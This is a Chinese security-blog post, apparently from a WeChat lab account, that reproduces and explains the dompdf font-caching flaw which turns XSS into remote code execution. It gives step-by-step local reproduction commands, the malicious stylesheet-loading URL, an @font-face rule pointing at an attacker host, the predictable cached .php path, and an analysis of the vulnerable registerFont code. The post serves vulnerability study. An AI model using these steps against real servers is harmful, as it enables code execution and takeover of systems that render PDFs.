声明!
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!
复现
git clone https://github.com/positive-security/dompdf-rce.git
启动应用服务器,模拟受害者服务器
$ cd application
$ php -S localhost:9000
启动攻击者服务器
$ cd exploit
$ php -S localhost:9001
远程加载资源,将在应用服务器本地缓存资源文件
http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>
访问缓存的php font文件,触发漏洞
http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php
简要分析
dompdf
是一个最常使用的库,用来在服务器上呈现PDF
在dompdf
的配置文件中,若设置$isRemoteEnabled
(或版本 ≤ 0.8.5
,无论此设置如何),dompdf
允许通过font-face CSS
规则加载自定义字体,如下所示
@font-face {
font-family:'TestFont';
src:url('http://attacker.local/test_font.ttf');
font-weight:'normal';
font-style:'normal';
}
当使用外部字体时,dompdf 将其缓存在本地/lib/fonts
子目录中,并在dompdf_font_family_cache.php
using中添加相应的条目saveFontFamilies()
,该文件即字体缓存的索引
漏洞的关键点在字体缓存中,如下
/**
* @param array $style
* @param string $remoteFile
* @param resource $context
* @return bool
*/
public function registerFont($style, $remoteFile, $context = null)
{
$fontname = mb_strtolower($style["family"]);
$styleString = $this->getType("{$style['weight']} {$style['style']}");
$fontDir = $this->options->getFontDir();
$remoteHash = md5($remoteFile);
$prefix = $fontname . "_" . $styleString;
$prefix = preg_replace("[\W]", "_", $prefix);
$prefix = preg_replace("/[^-_\w]+/", "", $prefix);
$localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
$localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));
// Download the remote file
list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
$localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
file_put_contents($localTempFile, $remoteFileContent);
$font = Font::load($localTempFile);
if (!$font) {
unlink($localTempFile);
return false;
}
$font->parse();
$font->close();
unlink($localTempFile);
// Save the changes
file_put_contents($localFile, $remoteFileContent);
$this->saveFontFamilies();
return true;
}
从上述代码中,可以确定非常重要的一点:
新缓存字体的文件的文件名是确定的,是根据我们提供的字体名称、样式、远程URL等进行hash运算
并且,从$font->parse();
、$font = Font::load($localTempFile);
两行代码中可以看出,字体必须是有效的,因为它必须能够被php-font-lib
加载和解析
但是
php-font-lib
仅会检查被加载文件的文件头,而忽略了文件扩展名
因此,漏洞的执行过程:
-
我们使用有效的.ttf字体,在其中,添加恶意代码 <?php phpinfo(); ?>
,并将该文件存储为xxx.php
-
在xxx.css中包含该php文件,并通过XSS漏洞远程加载资源文件xxx.css
访问http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>
dompdf就会在/lib/fonts目录下缓存php文件,即存在恶意代码的php文件
访问http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php
参考链接
https://positive.security/blog/dompdf-rce
原文始发于微信公众号(流沙安全实验室):利用dompdf将XSS升级为RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论